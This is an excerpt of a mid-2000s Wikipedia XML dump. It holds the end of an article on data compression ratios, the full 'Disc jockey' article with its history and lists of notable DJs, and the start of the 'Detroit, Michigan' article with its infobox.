      <text xml:space="preserve">'''Data compression ratio''' is a computer term used to quantify the reduction in data quantity produced by a [[data compression algorithm]].  A data compression ratio is much like a physical compression ratio used to measure the physical compression of substances.  Ratios are generally expressed as &lt;original size&gt;:&lt;compressed size&gt;.

A 10MB file that compresses to 2MB would have a 5:1 compression ratio.

Compression ratios are often given in percents. Percentage of compression is calculated by dividing the difference between size of source data and size of compressed data by size of source data. The 10MB file that compresses to 2 MB would have ((10-2)/10)*100% = 80% compression ratio. 

Data compression ratios are also closely related to the concept of '''coding rates''', which express the same concept but relate the ratio to more tangible quantities. For example, the coding rate of an audio stream may be expressed in &quot;bits per second&quot;, or still image compression may be expressed in &quot;bits per pixel&quot;. In many instances, coding rates can be converted to compression ratios if the physical characterstics of content of the original file are known. In contrast to compression ratios, lower coding rates indicate a higher level of compression.

{{comp-sci-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Decidable language</title>
    <id>8682</id>
    <revision>
      <id>15906647</id>
      <timestamp>2004-11-08T23:38:16Z</timestamp>
      <contributor>
        <username>MathMartin</username>
        <id>29707</id>
      </contributor>
      <comment>moved content to [[recursive language]] to make the naming consistent with [[recursively enumerable language]]</comment>
      <text xml:space="preserve">#REDIRECT [[recursive language]]</text>
    </revision>
  </page>
  <page>
    <title>Disc jockey</title>
    <id>8683</id>
    <revision>
      <id>42068005</id>
      <timestamp>2006-03-03T16:21:18Z</timestamp>
      <contributor>
        <ip>213.186.242.85</ip>
      </contributor>
      <comment>/* Techniques */</comment>
      <text xml:space="preserve">:''For other meanings of '''DJ''', see [[DJ (disambiguation)]].''
[[Image:Alkivar-003-TWEAKED.jpg|thumb|300px|right|A disc jockey &quot;scratching&quot; a record.]]

A '''disc jockey''' (also called '''DJ''', or '''deejay''') is an individual who selects and plays [[sound recording|prerecorded music]] for an intended audience. 

== Origin of term ==
The term was first used  to describe radio announcers who would introduce and play popular [[gramophone records]].  These records, also called ''discs'' by those in the industry were ''jockeyed'' by the [[Announcer|radio announcer]]s, hence the name ''disc jockey'' and soon to be known as ''DJs'' or ''deejays''.  Today there are a number of factors, including the selected music, the intended audience, the performance setting, the preferred medium, and the development of sound manipulation, that have led to different types of deejays.

== Job description ==
The physical act of selecting and playing sound recordings is called '''deejaying''', or '''DJing''', and ranges in sophistication from simply playing a series of recordings (referred to as programming, or composing a [[playlist]]), to the manipulating of recordings, using techniques such as [[audio mixing]], [[cueing]], [[phrasing (DJ)|phrasing]], [[cutting (music)|cutting]], [[scratching]], and [[beatmatching]], often to the point of creating original [[musical composition]]s. It should be noted that the term &quot;DJ&quot; in Jamaican dancehall culture refers to the performer who inserts live ad lib raps or &quot;toasts&quot; over dub instrumental recordings played by the &quot;selector&quot;, here described as a &quot;DJ&quot;.

==Equipment==
The most basic equipment that is necessary for a standard disc jockey to perform consists of the following:
1. sound recordings in preferred medium (eg. vinyl records, compact discs, mp3s)
2. at least two devices for playback of sound recordings, for the purpose of alternating back and forth to create continuous playback (eg. record players, compact disc players, mp3 players)
3. a [[sound system]] for amplification of the recordings (eg. portable audio system, radio wave broadcaster)

The addition of a [[mixer]] (used to mix the sound of the two playback devices), a [[microphone]] (used to amplify the human voice), and [[headphone]]s (used to listen to one recording while the other is playing, without outputting the sound to the audience) is strongly recommended, but not required. Other types of equipment can also be added, including [[sampler]]s, [[drum machine]]s, effects processors, [[slipmat]]s, and Computerized Performance Systems.

==Techniques==
There are several techniques that can be applied by the disc jockey as a means to manipulate the prerecorded music. These include [[audio mixing]], [[cueing]], [[slip-cueing]], [[phrasing (DJ)|phrasing]], [[cutting (music)|cutting]], [[beat juggling]], [[scratching]], [[beatmatching]], [[needle drop]]s, [[phase shifting]], and more.

==DJ control and economics==
Throughout the 1950s, [[payola]] was an ongoing problem. Part of the fallout from that payola scandal was tighter control of the music by station management. The [[Top 40]] format also emerged, where popular songs are played repeatedly.

Today, very few DJs in the United States have any control over what is played on the air. Playlists are very tightly regulated, and the DJ is often not allowed to make any changes or additions.  The songs to be played are usually determined by [[computer]]ized [[algorithm]]s, and [[automation]] techniques such as [[voice tracking]] have allowed single DJs to send announcements across many stations.  Even song requests are sometimes co-opted into this system&amp;mdash;a song might be announced as a request by a DJ even though it was already set to appear in the playlist.

Economically, this formula has been successful across the country.  However, music aficionados look upon such practices with disgust and either seek out [[freeform (radio format)|freeform]] stations that put the DJs back in control, or end up dumping terrestrial radio in favor of [[satellite radio]] services or portable music players like [[Apple iPod | iPods]].  [[College radio]] stations and other [[public radio]] outlets are the most common places for freeform playlists in the U.S.

==Types of disc jockeys==
By definition, the role of selecting and playing [[sound recording|prerecorded music]] for an intended audience is the same for every disc jockey. The selected music, the audience, the setting, the preferred medium, and the level of sophistication of sound manipulation are factors that create a number of different types of deejays.

The following is a list of the most common types of disc jockeys, along with notable examples of each, listed in chronological order by birth.

===Radio DJs===
A radio disc jockey is one that selects and plays music that is broadcast across radio waves.

====Notable Radio DJs====
*[[Christopher Stone]] (1882–1965), became the first disc jockey in the [[United Kingdom]] in [[1927]].
*[[Martin Block]] (1901-1967), the first radio disc jockey to become a star, inspired the term &quot;disc jockey&quot;.
*[[Alan Freed]] (1922-1965), became internationally known for promoting [[African-American]] [[Rhythm and Blues]] music in the United States and Europe under the name of [[Rock and Roll]].
*[[Murray the K|Murray &quot;The K&quot; Kaufman]] (1922-1982), influential rock and roll disc jockey, for a time was billed as the &quot;Fifth Beatle&quot;.
*[[Rog Martin]] (born 1941), First DJ to play Top Forty hits in stereo in 1968.  An FM Radio station in Los Angeles was the venue.
*[[Jimmy Savile]] (born 1926), British DJ and television personality, best known for his [[BBC]] television show [[Jim'll Fix It]] where he made the wishes of members of the public (mainly children) come true. In 1947 he was the first ever DJ to use twin turntables for continuous play after he paid a local metal worker to weld two domestic record decks together.
*[[Dick Clark (entertainer)|Dick Clark]] (born 1929), host of ''[[American Bandstand]]'', television's longest-running music/variety program, as well as a number of nationally syndicated radio shows. 
*[[Casey Kasem]] (born 1932), disc jockey and music historian, host of the long-running radio series ''[[American Top 40]]''. Also the voice of [[Shaggy]] in the [[Scooby-Doo]] cartoon series. 
*[[Wolfman Jack]] (1938-1995), drew upon his love of horror movies and rock and roll to create his raspy-voiced, howling persona, one of radio’s most distinctive voices.
*[[John Peel]] (1939-2004), one of the original DJs of [[UK]]'s [[BBC Radio 1|Radio 1]] in [[1967]], known for the extraordinary range of his taste in music, and for championing unknown musical artists.
*[[Jim Ladd]] (born 1948), the last remaining freeform rock DJ in [[United States]] commercial radio.
''See also: [[:Category:Radio DJs]]''

===Bedroom DJs===
A person who owns DJing equipment (ie. turntables, mixer, CDJ, etc.) and has a passion for music, but doesn't play out to crowds at bars or special events (ie. raves). Instead, they opt to play their music at home for their friends, record mixtapes or over the internet via audio broadcasting software, such as shoutcast. 

===Club/Rave DJs===
A club/rave disc jockey is one that selects and plays music in a club setting. The setting can range anywhere from a small club, a neighborhood party, a disco, a rave, or even a stadium. 

====Notable Club/Rave DJs====
[[Image:Oakenfold@Nation.jpg|thumb|right|DJ Paul Oakenfold]]
*[[David Mancuso]] (born 1944), founder of [[New York City]]'s first underground party called [[The_Loft|The Loft]].
*[[Francis Grasso]] (1948-2001), popularized several new disc jockey techniques, including [[beatmatching]] and [[slip-cueing]].
*[[Larry Levan]] (1954-1992), an early and prolific re-mixer and the DJ at [[Paradise_Garage|The Paradise Garage]]
*[[Frankie Knuckles]] (born 1955), the godfather of [[house music]].
*[[Paul Oakenfold]] (born 1963), British record producer, remixer, and one of the best-known DJs worldwide, referred to as a Superstar DJ.
*[[Tiesto]] (born 1969), one of world's leading trance music DJs, voted ''DJ Magazine'''s 'No. 1 DJ in the World' for the third consecutive year in 2004.
*[[Keoki]] (born 1969), famous techno musician, portrayed in the [[2003]] film ''[[Party Monster]]''.

''See also: [[:Category:Club DJs]]''

===Hip Hop DJs===
{{Main|Turntablism}}
A hip hop disc jockey is one that selects, plays and creates music as a hip hop artist and/or performer, often backing up one or more [[Master of Ceremonies|MC]]s.

====Notable Hip Hop DJs====
*[[DJ Kool Herc]] (born 1955), inventor of [[breakbeat]] technique, &quot;the father of hip hop culture&quot;.
*[[Grandmaster Flash]] (born 1958), one of the early pioneers of hip hop DJing, cutting, and scratching.  Created the Quick Mix Technique which allowed a DJ to precisely extend a break using two copies of the same record; essentially invented modern turntablism.
*[[Afrika Bambaataa]] (born 1960), instrumental in the development of hip hop from its birth in the South Bronx to its international success. Created first hip hop track to feature synthesizers; &quot;The godfather of Hip Hop&quot;
*[[Jam Master Jay]] (1965-2002), founder and DJ of [[Run-DMC]], one of the most innovative hip hop groups of all time.
*[[DJ Clue]] (born Ernesto Shaw on January 8, 1975 in Queens, New York City) is a mix DJ known for his involvement in the mixtape circuit. He is signed as an artist on Roc-A-Fella Records
*[[Eric B. &amp; Rakim|Eric B.]] (born 1965), one half of duo [[Eric B. &amp; Rakim]], popularized the [[James Brown (musician)|James Brown]]-sampled funky hip hop of the late [[1980s]].
*[[Terminator X (DJ)|Terminator X]] (born 1966), DJ of the highly infuential hip hop group [[Public Enemy]].
*[[DJ Qbert]] (born 1969), founding member of the [[turntablism]] group the [[Invisibl Skratch Piklz]] and three-time winner of the International DMC Award.
*[[Mix Master Mike]] (born 1970), skilled DJ of hip hop group [[Beastie Boys]], three-time winner of the International DMC Turntablism Award.
*[[DJ Jazzy Jeff]] (born 1965), of '''DJ Jazzy Jeff and the Fresh Prince''' (also backed [[Will Smith]] on his solo efforts)

''See also: [[:Category:Hip hop DJs]]''

===Mobile DJs===
Mobile disc jockeys are an extension of the original radio disc jockeys. Unlike their radio counterparts, mobile DJing is primarily seen as a part-time or second career.  Although it is often perceived this way, there are many mobile DJs around the world that use this as their primary career.

Mobile DJs travel or tour with their own sound systems and play from an extensive collection of pre-recorded music, on various media, for a targeted audience. Mobile DJs tend to work for hire at private functions such as wedding receptions, bar and bat mitzvah receptions, school dances, and so on, but they can occasionally be seen in bars, nightclubs, or even block parties. Unlike many club/rave DJs, mobile DJs often play more mainstream selections of music from multiple genres and they often take requests.

The definition and responsibilities of a mobile disc jockey have changed since Bob Casey's first two-turntable system for continuous playback was utilized for sock-hops in 1955. Bands had long dominated the wedding entertainment industry, but with the advent of the less expensive mobile DJ, the demand for live performers dwindled. Even so, in the early years, the mobile DJ industry was seen as a last-resort choice for entertainment, as the DJs were reputed to frequently be unreliable and unprofessional. Mobile DJs companies came and went. However, a few companies of this era did establish themselves as competent businesses and thrived; some even still exist today.

During the Disco era of the 1970s, demand for mobile DJs (called [[mobile discos]] in the UK) soared. Top mobile DJs in this era would have hundreds of vinyl records and/or cassette tapes to play from. The equipment used in this era was enormous and usually required roadies (similar to those who work for bands) to set up. Because of the high demand for mobile DJs, many people from all facets of life jumped into the industry, hoping to make a few extra dollars on the weekends. These &quot;Weekend Warriors&quot;, as they are called by many, helped enhance the negative stereotype of the mobile DJ; many of the same complaints from the earlier era continued.

Some tried to improve this image by forming professional associations. The [[Canadian Disc Jockey Association]] (CDJA) was one of the original associations formed in 1976 as a not-for-profit trade association for disc jockeys across [[Canada]]. It was joined by a much broader online association called the [[Canadian Online Disc Jockey Association]] (CODJA), founded by Canadian mobile DJs Glenn Miller (not the famous bandleader) and Dennis Hampson.

[[United States]] Disc Jockeys were reluctant to form anything similar until 1992 when the [[American Disc Jockey Association]] (ADJA) was incorporated. The original Board of Directors were Bruce Keslar, Maureen Keslar, John Roberts, and Lori Jesse. In 1996, after being removed from the ADJA Board from a financial dispute, Keslar then went on to form the for-profit [[National Association of Mobile Entertainers]] (NAME), based in the Philadelphia area. Both associations thrive today, with an estimated 5,000 members combined as of November 2005.

As the late 1980s turned into the 1990s, new technologies emerged. [[Compact disc]] collections were becoming the standard to play music from. Many equipment manufacturers realized the potential market that existed for [[mobile DJ]]s and raced to make equipment that was smaller, easier to use, and of better quality. Dedicated mobile disc jockey trade publications such as ''[[DJ Times]]'' magazine and ''[[Mobile Beat magazine|Mobile Beat]]'' magazine were founded in this era. These publications helped to spread the word about the emerging technologies and published informational articles that were helpful to the mobile disc jockey. This is also the era when mobile disc jockeys became the top entertainment choice for most private parties including wedding receptions.

In the mid-1990s, computers and the Internet had a profound impact on the mobile DJ industry. Professor Jam, a [[Tampa Bay, Florida]] disc jockey already known in the industry for having performed for many celebrities and television networks, became one of the first mobile DJs in the United States to regularly use computer technology to play music at his shows, and was the first professionally endorsed computer disc jockey internationally. CODJA cofounder Glenn Miller became the first licensed MP3 DJ under new music licensing agreement that was introduced to Canada in 2000 by the AVLA, and had already pioneered online networking for mobile disc jockeys by starting the first [[bulletin board system]] for mobile DJs from all over North America (and eventually the world).[http://web.archive.org/web/19980125231124/www.glenn-miller.com/wwwboard/wwwboard.html]

In the 21st Century, the role of the mobile disc jockey has expanded. While there are still many conventional, &quot;human jukebox&quot; mobile DJs, many others have assumed more reponsibilities to ensure the success of the events where they perform. These responsibilities include emceeing, event coordination, lighting direction, and sound engineering.

The number of resources available for mobile DJs has also expanded. Aside from the many online community forums, there are now annual conventions, regional conferences, and many local seminars for mobile disc jockeys to attend.

====Notable Mobile DJs====
*In 1955, Bob Casey (born 1941), a well-known sock hop DJ, introduced the first two-turntable system for the purpose of alternating back and forth between records, creating continuous playback.

==Timeline of events related to the disc jockey==
*[[1857]] - [[Leon Scott]] invents the [[phonoautograph]], the first device to record arbitrary sound, in [[France]].
*[[1877]] - [[Thomas Alva Edison]] invents the [[phonograph cylinder]], the first device to playback recorded sound, in the [[United States]]. 
*[[1887]] - [[Germans|German]]-[[United States|American]] [[Emile Berliner]] invents the [[gramophone]], a [[lateral]] [[disc]] device to record and playback sound. 
*[[1889]] - Coin-slot phonograph machines, the general public's first encounter with recorded sound, begin to be mass produced. The earliest versions played only a single record, but multiple record devices, called [[jukebox]]es, were soon developed.
*[[1892]] - Emile Berliner begins commercial production of his gramophone records, the first disc record to be offered to the public. 
*mid-[[1890s]] to early [[1920s]] - Cylinder and disc recordings, and the machines to play them on, are widely mass marketed and sold. The disc system gradually becomes more popular due to its cheaper price and better marketing.
*[[1906]] - [[Reginald Fessenden]] transmits the first audio [[radio]] [[Broadcasting|broadcast]] in history when he plays Christmas music from [[Ocean Bluff-Brant Rock, Massachusetts|Brant Rock]], [[Massachusetts]].
*[[1910s]] - Regular radio broadcasting begins, using &quot;live&quot; as well as prerecorded sound. In the early radio age, content typically includes comedy, drama, news, music, and sports reporting. The on-air announcers and programmers would later be known as disc jockeys.  
*[[1920s]] - &quot;Juke-joints&quot; become popular as a place for dancing and drinking to jukebox music.
*[[1927]] - [[Christopher Stone]] becomes the first radio announcer and programmer in the [[United Kingdom]], on the [[BBC]] radio station. 
*[[1929]] - Thomas Edison ceases phonograph cylinder manufacture, ending the disc and cylinder rivalry.
*[[1934]] - American commentator [[Walter Winchell]] coins the term &quot;disc jockey&quot; (the combination of &quot;disc&quot;, referring to the disc records, and &quot;jockey&quot;, which is an operator of a machine) as a description of radio announcer [[Martin Block]], the first announcer to become a star in his own right. While his audience was awaiting developments in the [[Lindbergh kidnapping]], Block played records and created the illusion that he was broadcasting from a ballroom, with the nation’s top dance bands performing live. The show, which he called ''Make Believe Ballroom'', was an instant hit.
*[[1940s]] - [[Musique concrète]] composers utilize portions of sound recordings to create new compositions. This is the first occurrence of [[Sampling (music)|sampling]].
*[[1943]] - [[Jimmy Savile]] launches the world's first DJ dance party by playing [[jazz]] records in the upstairs function room of the Loyal Order of Ancient Shepherd's in [[Otley]], [[England]]. in 1947 he paid a local metal worker to weld two domestic record decks together and became the first DJ to use twin turntables for continuous play.
*[[1947]] - The &quot;Whiskey-A-Go-Go&quot; nightclub opens in [[Paris, France]], considered to be the world's first [[discothèque]], or disco (deriving its name from the French word, meaning a nightclub where the featured entertainment is recorded music rather than an on-stage band). Discos began appearing across Europe and the United States.
*late [[1940s]] to early [[1950s]] - The introduction of [[television]] erodes the popularity of radio's early format, causing it to take on the general form it has today, with a strong focus on music, news and sports.
*[[1950s]] - American radio DJs would appear live at &quot;sock hops&quot; and &quot;platter parties&quot; and assume the role of a human jukebox. They would usually play 45-rpm records featuring hit singles on one turntable, while talking between songs. In some cases, a live drummer was hired to play beats between songs to maintain the dance floor. 
*[[1955]] - [[Bob Casey (DJ)|Bob Casey]], a well-known sock hop DJ, introduces the first two-turntable system for the purpose of alternating back and forth between records, creating continuous playback.
*late [[1950s]] - [[Jamaican sound system]]s, a new form of public entertainment, are developed in the [[ghetto|ghettos]] of [[Kingston, Jamaica]]. Promotors, who called themselves DJs, would throw large parties in the streets that centered around the disc jockey, called the &quot;selector&quot;. These parties quickly became profitable for the promoters, who would sell admission, food and alcohol, leading to fierce competition between DJs for the biggest sound systems and newest records.
*mid-[[1960s]] - Nightclubs and discotheques continue to grow in Europe and the United States. However, by [[1968]], the number of dance clubs started to decline.
*[[1969]] - American club DJ [[Francis Grasso]] popularizes [[beatmatching]] at [[New York]]'s Sanctuary nightclub. Beatmatching is the technique of creating seamless transitions between back-to-back records with ''matching'' ''beats'', or tempos. Grasso also perfected [[slip-cueing]], the technique of holding a record still while the turntable is revolving underneath, releasing it at the desired moment to create a sudden transition from the previous record.
*late [[1960s]] - Most American discos either closed or were transformed into clubs featuring live bands. Neighborhood block parties that are modeled after Jamaican sound systems gain popularity in Europe and in the [[borough]]s of [[New York City]]. 
*early [[1970s]] - The [[Vietnam War]], oil crisis, and economic recession has a negative impact on dance clubs and disc jockeys. The total number of clubs and DJs dropped substantially, and most of the dance clubs were underground [[gay]] discos. It should also be noted that electronics company [[Technics]] released a series of direct-drive DJ turntables during this period.
*[[1974]] - [[Jamaica|Jamaican-born]] [[DJ Kool Herc]] - who is widely regarded as the &quot;godfather of hip hop culture&quot; - develops a technique called [[break (music)|breakbeat]] while performing block parties in his [[The Bronx|Bronx]] neighborhood. He would mix back and forth between two identical records to extend the rhythmic instrumental segment, or ''break''. [[Turntablism]], the art of using turntables not only to play music, but to manipulate sound and create original music, is considered to begin at this time.
*[[1974]] - [[Technics]] releases the first [[Technics SL-1200|SL-1200]] turntable, which evolves into the SL-1200 MK2 in [[1979]], currently the industry standard for deejaying.
*[[1974]] - German [[electronic music]] band [[Kraftwerk]] releases the 22-minute song &quot;Autobahn&quot;, which takes up the entire first side of that LP. Years later, Kraftwerk would become a significant influence on [[hip hop music|hip hop]] artists such as [[Afrika Bambaataa]] and [[house music]] pioneer [[Frankie Knuckles]].
*mid [[1970s]] - [[Hip hop music]] and culture begins to emerge, originating among urban [[African American]]s and [[Latino]]s in New York City. The four main elements of [[hip hop culture]] are [[Rapping|MCing (rapping)]], DJing, [[graffiti]], and [[breakdance|breakdancing]].
*[[1975]] - [[Disco]] music takes off in the mainstream pop charts in the [[United States]] and [[Europe]], causing discotheques to experience a rebirth.
*[[1975]] - [[Record pool]]s begin, enabling disc jockeys access to newer music from the industry in an efficient method.
*[[1976]] - American DJ, editor, and producer [[Walter Gibbons]] remixes &quot;Ten Percent&quot; by [[Double Exposure]], one of the earliest commercally released 12&quot; singles (aka &quot;maxi-single&quot;).
*[[1977]] - Hip hop DJ [[Grand Wizard Theodore]] invents the [[scratching]] technique by accident.
*[[1977]] - New York's [[Studio 54]] nightclub grosses $7 million in its first year of business (which is roughly $21 million in today's dollars after adjusting for inflation). In the same year, the motion picture [[Saturday Night Fever]] popularizes discotheques and becomes one of the top-10 grossing films in history (at the time).
*[[1979]] - The [[Sugar Hill Gang]] release &quot;[[Rapper's Delight]]&quot;, the first hip hop record to become a hit. It was also the first real breakthrough for [[sampling (music)|sampling]], as the bassline of [[Chic]]'s &quot;Good Times&quot; laid the foundation for the song.
*[[1979]] - An anti-disco protest in [[Chicago]]'s Comiskey Park marks the major backlash against disco amongst [[rock music]] fans, who preferred guitars and live drums over electronically generated sounds and beats. This is considered to be the year that disco &quot;died&quot;, although the music remained popular for several more years, particularly in underground clubs and in Europe, where the subgenres [[Euro Disco]] and [[Italo Disco]] were created.
*[[1981]] - Cable television network [[MTV]] is launched, originally devoted to music videos, especially popular rock music. The term &quot;[[video jockey]]&quot;, or VJ, was used to describe the fresh faced youth who introduced the music videos. 
*[[1982]] - The demise of disco in the mainstream by the summer of 1982 forces many nightclubs to either close or to change entertainment styles, such as by providing MTV style video dancing or live bands.
*[[1982]] - &quot;Planet Rock&quot; by DJ [[Afrika Bambaataa]] is the first hip hop song to feature [[synthesizer]]s. The song melded electronic hip hop beats with the melody from Kraftwerk's &quot;Trans-Europe Express&quot;.
*[[1982]] - The [[compact disc]] reached the public market in [[Asia]] and early the following year in other markets. This event is often seen as the &quot;Big Bang&quot; of the [[digital audio]] revolution. 
*[[1983]] - [[House music]] emerges. The name was derived from the [[Warehouse club]] in [[Chicago]], where the resident DJ, [[Frankie Knuckles]], mixed old disco classics and Eurosynth pop. House music is essentially disco music with electronic beats. The common element of most house music is a 4/4 beat generated by a [[drum machine]] or other electronic means (such as a [[sampler]]), together with a solid (usually also electronically generated) [[bassline]]. 
*[[1983]] - Jesse Saunders releases the first house music track, &quot;On &amp; On&quot;.
*mid-[[1980s]] - [[Garage (dance music)|New York Garage]] emerges at DJ [[Larry Levan]]'s [[Paradise Garage]] nightclub in New York. The style was a result of the club DJs who would unsuccessfully try to duplicate the Chicago house sound, for example, leaving out the accentuated high-hats. 
*mid-[[1980s]] - [[Techno music|Techno]] music emerges from the [[Detroit]] club scene. Being geographically located between Chicago and New York, Detroit techno combined elements of Chicago house and New York garage along with European imports. Techno distanced itself from disco's roots by becoming almost purely electronic with synthesized beats. 
*[[1985]] - The Winter Music Conference starts in [[Fort Lauderdale]] Florida and becomes the premier electronic music conference for dance music disc jockeys. 
*[[1986]] - &quot;[[Walk This Way]]&quot;, a rap-rock collaboration by [[Run DMC]] and [[Aerosmith]], becomes the first hip hop song to reach the Top 10 on the [[Billboard Hot 100]]. This song is the first exposure of hip hop music, as well as the concept of the disc jockey as band member and artist, to many mainstream audiences.
*[[1988]] - The [[acid house]] scene emerges in the [[UK]]. Originally called &quot;acid parties&quot; for a select few, the events grew in size and popularity, eventually spreading throughout England, Europe, the United States, and the rest of the world.
*early [[1990s]] - The [[rave]] scene grows out of the acid-house scene. Many elements of the rave scene, such as baggy pants and breakdancing, appear to be inherited from the [[Northern Soul]] scene of the [[UK]] approximately 15 years earlier. The notion of &quot;[[trainspotter (music)|trainspotting]],&quot; for example, derives from Northern Soul's emphasis on researching and collecting rare &amp; obscure records; while preventing other DJs from stealing titles via &quot;white labels&quot;. The rave scene forever changed dance music, the image of DJs, and the nature of promoting. The innovative marketing surrounding the rave scene created the first superstar DJs.
*early [[1990s]] - The [[compact disc]] surpasses the gramophone record in popularity, but gramophone records continue to be made (although in very limited quantities) into the 21st century, particularly for club DJs and for local acts recording on small regional labels.
*mid-[[1990s]] - [[Trance music]] emerges as a result of producers who wanted to transform repetitive, instrumental rave music into commercially accessible pop songs with vocals. Trance was central to the success of commercial dance music and superstar DJs such as Paul Oakenfold.
*[[1992]] - [[MPEG]] which stands for the &quot;Moving Pictures Experts Groups, releases The MPEG-1 standard, designed to produce reasonable sound at low bit rates. MPEG-1 Layer-3  popularly known as MP3 (a Lossy format) will revolutionize the digital music domain.
*[[1992]] - [[Promo Only]], a popular music service for disc jockeys is launched.
*[[1993]] - The first [[Internet]] &quot;radio station&quot;, Internet Talk Radio, was developed by Carl Malamud. Because the radio signal is relayed over the Internet, it is possible to access internet radio stations from anywhere in the world. This makes it a popular service for both amateur and professional disc jockeys operating from a personal computer.
*[[1995]] - The first full-time, Internet-only radio station, Radio HK, begins broadcasting the music of [[independent music|independent]] bands.
*late [[1990s]] - [[Nu metal]] bands such as [[Korn|KoЯn]], [[Limp Bizkit]], and [[Linkin Park]] reach the height of popularity. This new subgenre of [[alternative rock]] bears some influence from hip hop, because rhythmic innovation and syncopation are primary, often featuring DJs as bandmembers.
*late [[1990s]] - Various DJ and Video_jockey VJ_software VJ software programs are developed, allowing personal computer users to deejay or veejay using his or her personal music or video files.
*[[1998]] - The first MP3 digital audio player is released, the Eiger Labs MPMan F10.
*[[1998]] - Final Scratch is announced by Amsterdam based N2IT. This program &quot;mapped&quot; digital music files onto timecoded vinyl records that were then played on a traditional DJ setup. This was the first product of it's kind, and later spawned a slew of competing products (including Serato Scratch Live, Ms. Pinky, and Mixvibes). Final Scratch was later bought by Stanton Magnetics, and its software development is now handled by [[Native Instruments]].
*[[1999]] - [[Shawn Fanning]] releases [[Napster]], the first of the massively popular [[peer-to-peer]] [[file sharing]] systems. 
*[[1999]] - late 1999 - AVLA (Audio Video Licensing Agency) of Canada announces MP3 DJing license. Administered by the Canadian Recording Industry Association. DJs can now apply for a license giving them the right to burn their own compilation CDs of &quot;useable tracks,&quot; instead of having to cart their whole CD collections around to their gigs.
*[[2001]] - [[Apple Computer]]'s [[Apple iPod | iPod]] is introduced and quickly becomes the highest selling brand of portable digital mp3 audio player. The convenience and popularity of the iPod spawns a new type of DJ, the self-penned &quot;[[MP3J]]&quot;. First appearing in certain [[East London]] clubs, and spreading to other music scenes, including New York City, this new DJ scene allows the average music fan to bring two iPods to an &quot;iPod Night&quot;, plug in to the mixer, and program a playlist without the skill and equipment demanded by a more traditional DJ setup.
*[[2001]] - late 2001 - Atlanta, Georgia, The fist Computerized Performance System Disc Jockey gathering was scheduled and organized during the small DJ3 convention. CPS mixing culture begins to emerge and organize.
*[[2005]] - Computerized Performance System Disc Jockey Summit is launched. Hosted by Professor Jam and originally developed as a social gathering in 2001, it was the first dedicated computer disc jockey industry event.

==Bibliography==
{{wikiquote}}
* Poschardt, Ulf (1998). ''DJ Culture''. London: Quartet Books. ISBN 0-704-38098-6 
* Brewster, Bill &amp; Broughton, Frank (2000). ''Last Night a DJ Saved My Life: The History of the Disc Jockey''. New York: Grove Press. ISBN 0-8021-3688-5 (North American edition). London: Headline. ISBN 0-747-26230-6 (U.K. edition).&lt;br clear=&quot;all&quot;&gt;
*Lawrence, Tim (2004). ''Love Saves the Day: A History of American Dance Music Culture, 1970-1979 ''. Duke University Press. ISBN 0822331985.

==External Sources==
:*[http://www.digitalvertigo.co.uk/ Digital Vertigo] DJ news and discussion forum.
:*[http://www.djforums.com/ DJ Forums] Various DJ resources and an online community.
:*[http://www.djmoves.com/ DJ Moves] News regarding the moves of radio DJs from station to station.
:*[http://www.discjockey101.com/jan2003.html DJ History] Rob Wegner (2003). DJ History: The First-Wave of Club DJ Growth, 1943-1969.
:* [http://www.dancefrontdoor.co.uk/ DanceFrontDoor] - UK DJ News and reviews site
:* [http://www.trugroovez.com/ Trugroovez] - DJ Listings. Including Sasha, Joey Negro, Danny Rampling


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    <title>Athenian Empire</title>
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      <timestamp>2003-12-27T09:41:25Z</timestamp>
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        <username>Delirium</username>
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      <text xml:space="preserve">#REDIRECT [[Delian League]]</text>
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  <page>
    <title>Detroit, Michigan</title>
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      <timestamp>2006-03-02T08:56:03Z</timestamp>
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      <text xml:space="preserve">{{redirect|Detroit}}
{{Infobox City |official_name = Detroit, Michigan
|nickname = The Motor City, Motown
|motto = Speramus Meliora; Resurget Cineribus&quot;&lt;br&gt;([[Latin]] for, &quot;We Hope For Better Things; It Shall Rise From the Ashes&quot;)
|image_skyline = DetroitSkyline.jpg
|image_flag = Detroit flag.png
|image_seal = Detroit Seal.png
|image_map = Detroit_Wayne.png
|map_caption = Location in [[Wayne County, Michigan|Wayne County]], [[Michigan]]
|subdivision_type = [[Countries of the world|Country]]&lt;br&gt;[[Political divisions of the United States|State]]&lt;br&gt;[[List of counties in Michigan|County]]
|subdivision_name = [[United States]]&lt;br&gt;&amp;nbsp;&amp;nbsp;[[Michigan]]&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;[[Wayne County, Michigan|Wayne County]]
|leader_title = [[Mayor]]
|leader_name = [[Kwame Kilpatrick]] (D) |
|area_magnitude = 1 E8 
|area_total = 142.9 sq. miles &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;370.2
|area_land =  138.8 sq. miles &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;359.4
|area_water = 4.2 sq. miles &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;10.8
|population_as_of = 2000
|population_total = 951,270
|population_metro = 4,441,551 
|population_density = 6,856/sq. mile &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2,647
|timezone = [[Eastern Standard Time|EST]]
|utc_offset = -5
|timezone_DST = [[Eastern Daylight Time|EDT]]
|utc_offset_DST = -4
|latd = 42
|latm = 19
|lats = 53.76 
|latNS = N
|longd = 83
|longm = 2
|longs = 51
|longEW = W
|elevation =&amp;nbsp;623&amp;nbsp;ft &lt;br /&gt;&amp;nbsp;&amp;nbsp;190
|website = http://www.ci.detroit.mi.us
|footnotes = 
|}}
'''Detroit''' ([[International Phonetic Alphabet|IPA]]: {{IPA|/d&amp;#618;&amp;#712;t&amp;#688;&amp;#633;&amp;#596;&amp;#618;t/}}) ([[French language|French]]: ''Détroit'', pronounced [[Image:ltspkr.png]][[Media:Detroit.ogg|{{IPA|/det&amp;#640;wa/}}]]) is a city in the [[U.S. state]] of [[Michigan]]. It is the largest city in the state and is the [[county seat]] of [[Wayne County, Michigan|Wayne County]].  Established in 1701 by French [[fur trade]]rs, it is best known today as the world's automotive center and an important music capital &amp;mdash; legacies celebrated by the city's two familiar nicknames, ''Motor City'' and ''Motown'' and more recently ''The D''.

